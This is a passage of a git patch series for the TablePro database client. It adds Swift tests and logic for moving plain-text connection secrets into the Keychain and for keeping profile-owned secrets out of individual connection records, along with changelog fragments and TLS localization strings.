#expect(withoutKey.stagedDeletes.contains(.sslClientKeyPassphrase)) + + draft.ssl.clientKeyPath = "/Users/alice/client.key" + #expect(plan(draft, postgres).writes(of: .sslClientKeyPassphrase) == "key-secret") + } + @Test("A secure field outside Authentication is written like any other") func secureFieldInAnySectionIsWritten() { var traits = ConnectionTypeTraits(type: DatabaseType(rawValue: "Probe")) diff --git a/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreFixture.swift b/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreFixture.swift index 221bbe55b8..8401095932 100644 --- a/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreFixture.swift +++ b/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreFixture.swift @@ -75,13 +75,15 @@ final class ConnectionEditorStoreFixture { let envVarApprovals: ConnectionApprovalStore let localCredentialApprovals: ConnectionApprovalStore - init() throws { + // `storageKeychain` stands in for `keychain` where a test needs the Keychain's scopes or unreadable items. + init(storageKeychain: (any KeychainStoring)? = nil) throws { directory = FileManager.default.temporaryDirectory .appendingPathComponent("tablepro-editor-store-\(UUID().uuidString)", isDirectory: true) try FileManager.default.createDirectory(at: directory, withIntermediateDirectories: true) suite = try EphemeralDefaults() let defaults = suite.defaults - let keychain = keychain + let recording = keychain + let keychain: any KeychainStoring = storageKeychain ?? recording let events = events let storage = ConnectionStorage( fileURL: directory.appendingPathComponent("connections.json"), diff --git a/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStorePlaintextSecretTests.swift b/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStorePlaintextSecretTests.swift new file mode 100644 index 0000000000..2579833585 --- /dev/null +++ b/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStorePlaintextSecretTests.swift @@ -0,0 +1,116 @@ +// +// ConnectionEditorStorePlaintextSecretTests.swift +// TableProTests +// + +import Foundation +import Testing + +@testable import TablePro + +// A record an unfinished Keychain migration left with a secure value in plain text. +@MainActor +struct ConnectionEditorStorePlaintextSecretTests { + private let fieldId = "esApiKey" + + private func elasticsearch(apiKey: String) -> DatabaseConnection { + var connection = DatabaseConnection( + name: "Search", + host: "es.example.com", + port: 9_200, + username: "elastic", + type: .elasticsearch + ) + connection.additionalFields["esAuthMethod"] = "apiKey" + connection.additionalFields[fieldId] = apiKey + return connection + } + + @Test("A key typed over a plain-text one is the one in the Keychain, and the record keeps no copy") + func replacedPlaintextSecretLeavesTheRecord() throws { + let fixture = try ConnectionEditorStoreFixture() + let connection = elasticsearch(apiKey: "plain-old") + fixture.seed([connection]) + let store = fixture.makeStore(.edit(connectionId: connection.id)) + #expect(store.draft.fieldValues[fieldId] == "plain-old") + + store.setFieldValue("typed-new", for: fieldId) + #expect(store.testRecord(testId: UUID()).additionalFields[fieldId] == nil) + _ = try store.save().get() + + let saved = try #require(fixture.storage.loadConnection(id: connection.id)) + #expect(saved.additionalFields[fieldId] == nil) + #expect(fixture.storage.loadPluginSecureField(fieldId: fieldId, for: connection.id) == "typed-new") + } + + @Test("An unrelated Save moves a plain-text key the Keychain lacks into it") + func untouchedPlaintextSecretMovesToTheKeychain() throws { + let fixture = try ConnectionEditorStoreFixture() + let connection = elasticsearch(apiKey: "plain-old") + fixture.seed([connection]) + let store = fixture.makeStore(.edit(connectionId: connection.id)) + + store.update { $0.name = "Renamed" } + _ = try store.save().get() + + let saved = try #require(fixture.storage.loadConnection(id: connection.id)) + #expect(saved.name == "Renamed") + #expect(saved.additionalFields[fieldId] == nil) + #expect(fixture.storage.loadPluginSecureField(fieldId: fieldId, for: connection.id) == "plain-old") + } + + @Test("A key the Keychain holds wins over the plain-text copy, which leaves the record") + func storedSecretWinsOverPlaintext() throws { + let fixture = try ConnectionEditorStoreFixture() + let connection = elasticsearch(apiKey: "plain-old") + fixture.seed([connection]) + fixture.storage.savePluginSecureField("stored-key", fieldId: fieldId, for: connection.id) + let store = fixture.makeStore(.edit(connectionId: connection.id)) + #expect(store.draft.fieldValues[fieldId] == "stored-key") + + store.update { $0.name = "Renamed" } + _ = try store.save().get() + + let saved = try #require(fixture.storage.loadConnection(id: connection.id)) + #expect(saved.additionalFields[fieldId] == nil) + #expect(fixture.storage.loadPluginSecureField(fieldId: fieldId, for: connection.id) == "stored-key") + } + + @Test("A plain-text key whose Keychain item cannot be read stays in the record, as the migration leaves it") + func plaintextSecretOverAnUnreadableItemStays() throws { + let keychain = ScopeRecordingKeychain() + let fixture = try ConnectionEditorStoreFixture(storageKeychain: keychain) + let connection = elasticsearch(apiKey: "plain-old") + fixture.seed([connection]) + keychain.makeUnreadable("com.TablePro.plugin.\(fieldId).\(connection.id.uuidString)") + let store = fixture.makeStore(.edit(connectionId: connection.id)) + #expect(store.draft.fieldValues[fieldId]?.isEmpty != false) + + store.update { $0.name = "Renamed" } + _ = try store.save().get() + + let saved = try #require(fixture.storage.loadConnection(id: connection.id)) + #expect(saved.name == "Renamed") + #expect(saved.additionalFields[fieldId] == "plain-old") + } + + @Test("A plain-text key another writer stored after the editor opened leaves the record for the Keychain") + func plaintextSecretWrittenElsewhereMoves() throws { + let fixture = try ConnectionEditorStoreFixture() + var connection = elasticsearch(apiKey: "") + connection.additionalFields[fieldId] = nil + fixture.seed([connection]) + let store = fixture.makeStore(.edit(connectionId: connection.id)) + + var elsewhere = try #require(fixture.storage.loadConnection(id: connection.id)) + elsewhere.additionalFields[fieldId] = "plain-elsewhere" + fixture.seed([elsewhere]) + + store.update { $0.name = "Renamed" } + _ = try store.save().get() + + let saved = try #require(fixture.storage.loadConnection(id: connection.id)) + #expect(saved.additionalFields[fieldId] == nil) + #expect(fixture.storage.loadPluginSecureField(fieldId: fieldId, for: connection.id) == "plain-elsewhere") + } +} diff --git a/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreTests.swift b/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreTests.swift index 57bb0a0d6a..4cf8681513 100644 --- a/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreTests.swift +++ b/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreTests.swift @@ -350,6 +350,51 @@ struct ConnectionEditorStoreTests { #expect(fixture.storage.loadPassword(for: connection.id) == "first") } + @Test("Local only set elsewhere while the editor is open keeps this Save's password on this Mac") + func localOnlySetElsewhereKeepsSecretsOnThisMac() throws { + let keychain = ScopeRecordingKeychain() + let fixture = try ConnectionEditorStoreFixture(storageKeychain: keychain) + let connection = postgres() + fixture.seed([connection]) + let store = fixture.makeStore(.edit(connectionId: connection.id)) + + var elsewhere = try #require(fixture.storage.loadConnection(id: connection.id)) + elsewhere.localOnly = true + fixture.seed([elsewhere]) + + store.update { $0.credentials.password = "typed-here" } + _ = try store.save().get() + + let key = "com.TablePro.password.\(connection.id.uuidString)" + #expect(try #require(fixture.storage.loadConnection(id: connection.id)).localOnly) + #expect(keychain.localValue(forKey: key) == "typed-here") + #expect(keychain.syncedValue(forKey: key) == nil) + } + + @Test("A connection moved to another group is placed after that group's connections") + func groupChangeTakesTheNextSortOrder() throws { + let fixture = try ConnectionEditorStoreFixture() + let groupId = UUID() + var first = postgres(name: "First") + first.groupId = groupId + first.sortOrder = 0 + var second = postgres(name: "Second") + second.groupId = groupId + second.sortOrder = 1 + let moving = postgres(name: "Moving") + fixture.seed([first, second, moving]) + let expected = ConnectionStorage.nextSortOrder(in: [first, second, moving], groupId: groupId) + let store = fixture.makeStore(.edit(connectionId: moving.id)) + + store.update { $0.appearance.groupId = groupId } + _ = try store.save().get() + + let saved = try #require(fixture.storage.loadConnection(id: moving.id)) + #expect(saved.groupId == groupId) + #expect(saved.sortOrder == expected) + #expect(saved.sortOrder > second.sortOrder) + } + @Test("A connection deleted elsewhere turns the editor into the missing state") func deletionElsewhereShowsMissing() throws { let fixture = try ConnectionEditorStoreFixture() From bd9ab0c75c59445fd7ec42e201c5a33362a7f4a4 Mon Sep 17 00:00:00 2001 From: Ngo Quoc Dat Date: Mon, 23 Nov 2026 02:00:36 +0700 Subject: [PATCH 11/13] wip(connection-editor): no connection copy of a profile-owned secret --- .../Engine/SecretWritePlan.swift | 18 +++++++++++++++++- .../Engine/SecretWritePlanTests.swift | 19 +++++++++++++++++++ 2 files changed, 36 insertions(+), 1 deletion(-) diff --git a/apple/TablePro/Views/ConnectionForm/Engine/SecretWritePlan.swift b/apple/TablePro/Views/ConnectionForm/Engine/SecretWritePlan.swift index 2665834d83..ac8ae3ad20 100644 --- a/apple/TablePro/Views/ConnectionForm/Engine/SecretWritePlan.swift +++ b/apple/TablePro/Views/ConnectionForm/Engine/SecretWritePlan.swift @@ -77,7 +77,8 @@ extension ConnectionEditorEngine { plan.writes.append(SecretWritePlan.Write(item: item, value: value)) } - for field in secureFieldsOwnedByForm(traits, originalTraits: originalTraits) { + let profileOwned = Set(draft.credentials.mode.profileId.flatMap { context.credentialProfile($0)?.secureFieldIds } ?? []) + for field in secureFieldsOwnedByForm(traits, originalTraits: originalTraits) where !profileOwned.contains(field.id) { let value = draft.fieldValues[field.id] ?? "" if value.isEmpty { plan.stagedDeletes.append(.pluginField(field.id)) @@ -150,10 +151,13 @@ extension ConnectionEditorEngine { let before = secretPlan(baseline, baselineTraits, originalTraits: originalTraits, context) let draft = normalized(draft, traits) func stands(_ item: SecretWritePlan.Item) -> Bool { + // A record that still delegates to the profile keeps no copy of its own for the driver to fall back on. + if delegatesToProfile(item, merged, context) { return true } guard mine.disposition(of: item) != before.disposition(of: item) else { return false } return secretValue(item, in: draft).isEmpty || !record(merged, uses: item) } var plan = mine + plan.writes = mine.writes.filter { !delegatesToProfile($0.item, merged, context) } plan.stagedDeletes = mine.stagedDeletes.filter(stands) plan.deletesAfterRecord = mine.deletesAfterRecord.filter(stands) return plan @@ -174,6 +178,18 @@ extension ConnectionEditorEngine { } } + static func delegatesToProfile(_ item: SecretWritePlan.Item, _ record: DatabaseConnection, _ context: EditorContext) -> Bool { + guard let profileId = record.credentialMode.profileId else { return false } + switch item { + case .password: + return true + case .pluginField(let fieldId): + return context.credentialProfile(profileId)?.secureFieldIds.contains(fieldId) == true + default: + return false + } + } + // Whether a stored record still has a place for the secret, whatever value it holds. static func record(_ record: DatabaseConnection, uses item: SecretWritePlan.Item) -> Bool { switch item { diff --git a/apple/TableProTests/Views/ConnectionForm/Engine/SecretWritePlanTests.swift b/apple/TableProTests/Views/ConnectionForm/Engine/SecretWritePlanTests.swift index 57ada32264..97b39ea7a0 100644 --- a/apple/TableProTests/Views/ConnectionForm/Engine/SecretWritePlanTests.swift +++ b/apple/TableProTests/Views/ConnectionForm/Engine/SecretWritePlanTests.swift @@ -66,6 +66,25 @@ struct SecretWritePlanTests { #expect(plan.writes(of: .password) == nil) } + @Test("A linked profile's secure field typed on the connection is not stored as a copy of its own") + func profileOwnedFieldIsNotWrittenOnSave() { + let postgres = traits(.postgresql) + let profile = CredentialProfile(name: "Shared", secureFieldIds: ["awsSecretAccessKey"]) + var context = EditorContext() + context.credentialProfiles = [profile] + var baseline = ConnectionDraft.new(type: .postgresql, traits: postgres) + baseline.setCredentialMode(.profile(id: profile.id)) + var draft = baseline + draft.fieldValues["awsSecretAccessKey"] = "typed" + var merged = DatabaseConnection(name: "Orders", host: "db.example.com", port: 5_432, username: "app", type: .postgresql) + merged.credentialMode = .profile(id: profile.id) + let plan = ConnectionEditorEngine.secretPlan( + draft, postgres, originalTraits: postgres, context, since: baseline, mergedInto: merged + ) + #expect(plan.writes(of: .pluginField("awsSecretAccessKey")) == nil) + #expect(plan.deletesAfterRecord.contains(.pluginField("awsSecretAccessKey"))) + } + @Test("An SSH profile this Mac cannot resolve keeps its link and deletes no SSH secret") func unresolvedSSHProfileTouchesNothing() { let mysql = traits(.mysql) From 5f544b87beca7e1364b5133481169da357490b97 Mon Sep 17 00:00:00 2001 From: Ngo Quoc Dat Date: Mon, 23 Nov 2026 02:09:28 +0700 Subject: [PATCH 12/13] docs(changelog): connection editor fragments for #4417 --- apple/changelog.d/4417.added.1.md | 1 + apple/changelog.d/4417.added.2.md | 1 + apple/changelog.d/4417.added.3.md | 1 + apple/changelog.d/4417.added.md | 1 + apple/changelog.d/4417.changed.1.md | 1 + apple/changelog.d/4417.changed.md | 1 + apple/changelog.d/4417.fixed.1.md | 1 + apple/changelog.d/4417.fixed.2.md | 1 + apple/changelog.d/4417.fixed.3.md | 1 + apple/changelog.d/4417.fixed.4.md | 1 + apple/changelog.d/4417.fixed.5.md | 1 + apple/changelog.d/4417.fixed.md | 1 + 12 files changed, 12 insertions(+) create mode 100644 apple/changelog.d/4417.added.1.md create mode 100644 apple/changelog.d/4417.added.2.md create mode 100644 apple/changelog.d/4417.added.3.md create mode 100644 apple/changelog.d/4417.added.md create mode 100644 apple/changelog.d/4417.changed.1.md create mode 100644 apple/changelog.d/4417.changed.md create mode 100644 apple/changelog.d/4417.fixed.1.md create mode 100644 apple/changelog.d/4417.fixed.2.md create mode 100644 apple/changelog.d/4417.fixed.3.md create mode 100644 apple/changelog.d/4417.fixed.4.md create mode 100644 apple/changelog.d/4417.fixed.5.md create mode 100644 apple/changelog.d/4417.fixed.md diff --git a/apple/changelog.d/4417.added.1.md b/apple/changelog.d/4417.added.1.md new file mode 100644 index 0000000000..a513727025 --- /dev/null +++ b/apple/changelog.d/4417.added.1.md @@ -0,0 +1 @@ +Copy a connection as a URL, without its passwords, from the connection editor. diff --git a/apple/changelog.d/4417.added.2.md b/apple/changelog.d/4417.added.2.md new file mode 100644 index 0000000000..70d46e4978 --- /dev/null +++ b/apple/changelog.d/4417.added.2.md @@ -0,0 +1 @@ +Test Connection shows the server version and time, and names the step that failed. diff --git a/apple/changelog.d/4417.added.3.md b/apple/changelog.d/4417.added.3.md new file mode 100644 index 0000000000..5eeaf6f400 --- /dev/null +++ b/apple/changelog.d/4417.added.3.md @@ -0,0 +1 @@ +Closing or quitting with unsaved connection edits asks whether to save them. diff --git a/apple/changelog.d/4417.added.md b/apple/changelog.d/4417.added.md new file mode 100644 index 0000000000..41291b9b8d --- /dev/null +++ b/apple/changelog.d/4417.added.md @@ -0,0 +1 @@ +Paste a connection URL into Host to fill the connection editor. diff --git a/apple/changelog.d/4417.changed.1.md b/apple/changelog.d/4417.changed.1.md new file mode 100644 index 0000000000..e96a5b6797 --- /dev/null +++ b/apple/changelog.d/4417.changed.1.md @@ -0,0 +1 @@ +Environment shows on Welcome rows and in the connection switcher, and Production defaults Safe Mode to Alert. diff --git a/apple/changelog.d/4417.changed.md b/apple/changelog.d/4417.changed.md new file mode 100644 index 0000000000..5941850e38 --- /dev/null +++ b/apple/changelog.d/4417.changed.md @@ -0,0 +1 @@ +The connection editor is a window with a sidebar of sections, and New Connection asks for the database type first. diff --git a/apple/changelog.d/4417.fixed.1.md b/apple/changelog.d/4417.fixed.1.md new file mode 100644 index 0000000000..1d31b69cff --- /dev/null +++ b/apple/changelog.d/4417.fixed.1.md @@ -0,0 +1 @@ +Test Connection kept showing Connected after the host or password changed. diff --git a/apple/changelog.d/4417.fixed.2.md b/apple/changelog.d/4417.fixed.2.md new file mode 100644 index 0000000000..713fb7997f --- /dev/null +++ b/apple/changelog.d/4417.fixed.2.md @@ -0,0 +1 @@ +A connection's secrets could be deleted when its SSH or credential profile changed while the editor was open. diff --git a/apple/changelog.d/4417.fixed.3.md b/apple/changelog.d/4417.fixed.3.md new file mode 100644 index 0000000000..7f95042921 --- /dev/null +++ b/apple/changelog.d/4417.fixed.3.md @@ -0,0 +1 @@ +Save stayed disabled by a field that was not on screen. diff --git a/apple/changelog.d/4417.fixed.4.md b/apple/changelog.d/4417.fixed.4.md new file mode 100644 index 0000000000..95d3fb440d --- /dev/null +++ b/apple/changelog.d/4417.fixed.4.md @@ -0,0 +1 @@ +Port fields accepted 0, 99999 or a port with spaces. diff --git a/apple/changelog.d/4417.fixed.5.md b/apple/changelog.d/4417.fixed.5.md new file mode 100644 index 0000000000..777794034e --- /dev/null +++ b/apple/changelog.d/4417.fixed.5.md @@ -0,0 +1 @@ +The file panel froze the app while browsing the Documents folder. diff --git a/apple/changelog.d/4417.fixed.md b/apple/changelog.d/4417.fixed.md new file mode 100644 index 0000000000..7c8de8a39a --- /dev/null +++ b/apple/changelog.d/4417.fixed.md @@ -0,0 +1 @@ +Saving a connection reverted a rename, group move or Safe Mode change made elsewhere while the editor was open. From bd85f554f0dd7c35e5285e74aeb69954082295b7 Mon Sep 17 00:00:00 2001 From: Ngo Quoc Dat Date: Mon, 23 Nov 2026 03:23:20 +0700 Subject: [PATCH 13/13] chore(l10n): add the TLS recovery strings to the iOS catalog --- .../TableProMobile/Localizable.xcstrings | 34 +++++++++++++++++++ 1 file changed, 34 insertions(+) diff --git a/apple/TableProMobile/TableProMobile/Localizable.xcstrings b/apple/TableProMobile/TableProMobile/Localizable.xcstrings index ac28781485..53eaa28600 100644 --- a/apple/TableProMobile/TableProMobile/Localizable.xcstrings +++ b/apple/TableProMobile/TableProMobile/Localizable.xcstrings @@ -1638,6 +1638,9 @@ "A check constraint of %@ is not one SQL expression, so it cannot be written." : { "extractionState" : "manual", "generatesSymbol" : false + }, + "A client certificate needs its client key. In the connection's SSL/TLS settings, choose the client key, or clear the client certificate." : { + }, "A client certificate needs its client key. On the connection's Network tab, choose the client key, or clear the client certificate." : { @@ -5173,6 +5176,10 @@ } } }, + "Choose the client certificate and key in the connection's SSL/TLS settings." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, "Choose the client certificate and key on the connection's Network tab." : { "extractionState" : "manual", "generatesSymbol" : false, @@ -6880,6 +6887,10 @@ } } }, + "Correct the Key Passphrase in the connection's SSL/TLS settings." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, "Correct the Key Passphrase on the connection's Network tab." : { "extractionState" : "manual", "generatesSymbol" : false, @@ -9453,6 +9464,10 @@ } } }, + "Enter the Key Passphrase in the connection's SSL/TLS settings." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, "Enter the Key Passphrase on the connection's Network tab." : { "extractionState" : "manual", "generatesSymbol" : false, @@ -12604,6 +12619,22 @@ } } }, + "In the connection's SSL/TLS settings, check that the Key under Client Certificates is a valid PEM private key." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, + "In the connection's SSL/TLS settings, choose the server's CA certificate under Verify Identity or Verify CA. Required (skip verify) also connects, but does not check the certificate." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, + "In the connection's SSL/TLS settings, set SSL Mode to Disabled." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, + "In the connection's SSL/TLS settings, set SSL Mode to Verify Identity, or to Required to skip the certificate check." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, "In-Memory Database" : { "localizations" : { "ko" : { @@ -30641,6 +30672,9 @@ "Verify CA needs a CA certificate. Choose the CA certificate that signed the server's certificate." : { "extractionState" : "manual", "generatesSymbol" : false + }, + "Verify CA needs a CA certificate. In the connection's SSL/TLS settings, choose the CA certificate that signed the server's certificate, or set SSL Mode to Verify Identity." : { + }, "Verify CA needs a CA certificate. On the connection's Network tab, choose the CA certificate that signed the server's certificate, or set SSL Mode to Verify Identity." : {